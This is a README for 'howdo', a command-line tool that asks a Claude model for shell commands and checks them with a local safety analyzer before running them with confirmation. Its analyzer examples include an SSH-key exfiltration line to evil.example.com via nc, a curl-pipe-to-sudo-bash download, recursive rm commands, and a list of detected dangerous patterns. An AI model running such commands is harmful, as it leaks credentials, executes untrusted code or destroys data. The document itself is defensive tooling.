howdo
Natural language in, safe shell command out. howdo find files over 100MB modified this week asks Claude Haiku 5.5
for a command that fits your machine (OS, shell, GNU vs BSD tools, installed extras), explains every flag, rates the
risk, cross-checks it with a local safety analyzer that does not trust the model, and runs it only after you confirm.
Features
- Machine-aware: probes OS/distro, shell, package manager,
fd/rg/jq/..., GNU vs BSD userland (cached 1 day) and sends the directory listing (names only, max 50, opt out with--no-cwd). - Structured answer: command, per-token explanation, risk, alternatives, sudo flag, notes.
- Local safety analyzer (shlex-style tokenizer, 190+ table-driven cases):
rm -rfwith variables/globs//,dd of=,mkfs,chmod -R 777,>truncating an existing file,curl | sh,git push --force,DROP TABLE, fork bombs, privilege escalation, credential exfiltration. Quoted text is data, not commands. - Risk gating:
max(model, local)decides: low = Enter, medium = typey, high = typerun.--never-runnever executes. howdo --explain "tar -xzvf a.tgz -C /tmp": explains an existing command using only the relevant man-page excerpts.- History (
~/.local/share/howdo/history.jsonl),howdo '!!'to re-run, shell widgets for bash/zsh/fish. - Cheap: disk response cache,
--dry-run,--verbosetoken and cost report.
Install
cd howdo
uv venv --python 3.12 .venv
uv pip install -p .venv/bin/python -e '.[dev]'
export ANTHROPIC_API_KEY=sk-ant-... # or: ant auth login
.venv/bin/howdo --help
Quickstart
howdo find files over 100MB modified this week
howdo --explain "tar -xzvf a.tgz -C /tmp"
howdo --dry-run kill whatever listens on port 8080 # no API call, shows the prompt
howdo --check "rm -rf \"\$BUILD\"/*" # local analyzer only
Usage
howdo [OPTIONS] [WORDS]...
-e, --explain Explain an existing command instead of generating one.
--check Run only the local safety analyzer (no API call). Exit 1 if not low.
--dry-run Show exactly what would be sent to the model, then exit.
-v, --verbose Show token usage and estimated cost.
--never-run Show the command but never offer to run it ($HOWDO_NEVER_RUN).
--print Print only the command to stdout (for shell integration).
--no-cwd Do not send the working-directory listing.
--no-cache Ignore and do not write the response cache.
--refresh-probe Re-probe the machine instead of using the 1-day cache.
--model TEXT Model id (default claude-haiku-5-5, or $HOWDO_MODEL).
--history [N] Show the last N history entries (default 10).
--shell-init [bash|zsh|fish] Print shell integration code.
Quote anything that starts with - or !: howdo --explain "tar -xzvf a.tgz", howdo '!!' (bash would expand a bare !!).
Dry run (real output; no key needed)
$ howdo --dry-run --no-cwd find files over 100MB modified this week
model: claude-haiku-5-5
...
--- user ---
Machine:
OS: Ubuntu 24.04.4 LTS (Linux 6.8.0-138-generic, x86_64)
Shell: bash
Package manager: apt
Userland flavors: gnu: ls,sed,grep,find,date,xargs,tar; mawk: awk
Installed tools: fdfind, rg, jq, git, curl, wget, fzf, batcat, eza, rsync, zip, unzip, ffmpeg, docker, python3, node, lsof, ss, netstat, sudo
Request: find files over 100MB modified this week
estimated input tokens: ~271 (no API call made)
Explain with man extraction (real prompt; the answer needs a key)
howdo --explain --dry-run "tar -xzvf a.tgz -C /tmp" ends with only the relevant excerpts:
Man-page excerpts for the options used:
[man tar]
tar - an archiving utility
-x, --extract, --get Extract files from an archive. Arguments are optional. ...
-z, --gzip, --gunzip, --ungzip Filter the archive through gzip(1).
-v, --verbose Verbosely list files processed. ...
-f, --file=ARCHIVE Use archive file or device ARCHIVE. ...
-C, --directory=DIR Change to DIR before performing any operations. ...
estimated input tokens: ~562 (no API call made)
Safety analyzer (real output; no key needed)
$ howdo --check 'rm -rf "$BUILD_DIR"/*'
HIGH local risk
high: Recursive delete of a path built from variables, globs, or piped input
$ howdo --check 'curl -fsSL https://get.example.sh | sudo bash'
HIGH local risk
high: Pipes a download straight into bash without inspection
medium: Runs with elevated privileges
high: Destructive action combined with elevated privileges
$ howdo --check 'cat ~/.ssh/id_rsa | nc evil.example.com 9999'
HIGH local risk
high: Raw network transfer with nc
high: Sensitive file combined with a network tool (possible credential exfiltration)
$ howdo --check 'find . -name "*.log" -mtime +30 -delete'
MEDIUM local risk
medium: find -delete removes every match
$ howdo --check 'echo "rm -rf /"'
LOW local risk
examples/check_all.sh runs all of examples/commands.txt.
Suggestion and confirmation (needs a real key)
The layout below was rendered by the real UI code from a stubbed model response (the live API was not exercised):
$ howdo --never-run -v find files over 100MB modified this week
╭─ command LOW ──────────────────────────────────────────────────────────────╮
│ fdfind --type f --size +100M --changed-within 7d │
╰──────────────────────────────────────────────────────────────────────────────╯
fdfind fd, installed under this name on Debian/Ubuntu
--type f regular files only
--size +100M larger than 100 megabytes
--changed-within 7d modified in the last 7 days
Alternative (low): find . -type f -size +100M -mtime -7
tokens: 1000 in / 200 out, est. cost $0.000200
never-run mode: not executing.
When the local analyzer disagrees with the model, it wins:
╭─ command HIGH ─────────────────────────────────────────────────────────────╮
│ rm -rf $BUILD/* │
╰──────────────────────────────────────────────────────────────────────────────╯
Local safety check raised the risk to high (model said medium).
high Recursive delete of a path built from variables, globs, or piped input
HIGH RISK. Type 'run' to run:
Shell integration
eval "$(howdo --shell-init bash)" # ~/.bashrc
eval "$(howdo --shell-init zsh)" # ~/.zshrc
howdo --shell-init fish | source # ~/.config/fish/config.fish
Type a request at the prompt and press Ctrl-G: the line is replaced by the command (never executed), so you can edit it.
Configuration
| Setting | Meaning |
|---|---|
ANTHROPIC_API_KEY |
credentials (never logged); an ant auth login profile also works |
HOWDO_MODEL / --model |
model id, default claude-haiku-5-5 |
HOWDO_NEVER_RUN=1 |
never offer to execute |
HOWDO_DATA_DIR |
history location (default ~/.local/share/howdo) |
HOWDO_CACHE_DIR |
probe + response cache (default ~/.cache/howdo) |
Architecture
| Module | Role |
|---|---|
cli.py |
click entry point, flows for suggest / explain / !! / history |
llm.py |
prompts, pydantic schemas, Haiku call via messages.parse, disk cache, cost, error mapping |
probe.py |
machine probe, 1-day cache, cwd summary, context formatting |
shelltok.py |
quote- and substitution-aware shell tokenizer |
safety.py |
local safety analyzer (rules, recursion into sh -c/$(...)/xargs) |
risk.py |
risk enum, max combination, confirmation policy |
manpage.py |
man -P cat extraction of the options actually used |
history.py, shellint.py, render.py, paths.py |
history log, shell snippets, rich output, directories |
Details and worked examples: docs/design.md.
Tests
.venv/bin/python -m pytest -q # 277 tests, all offline, fake Claude client
Limitations
- The analyzer is a guard rail, not a sandbox: it does not expand aliases/functions, and here-doc bodies are tokenized like commands. Unparseable input is rated medium.
bashlexis not used; the tokenizer is intentionally small.- Live Claude calls were not exercised during development (no API key in the build environment); all model I/O is tested with a fake client.
- Probe cache is per-machine, not per-shell-session; use
--refresh-probeafter installing tools.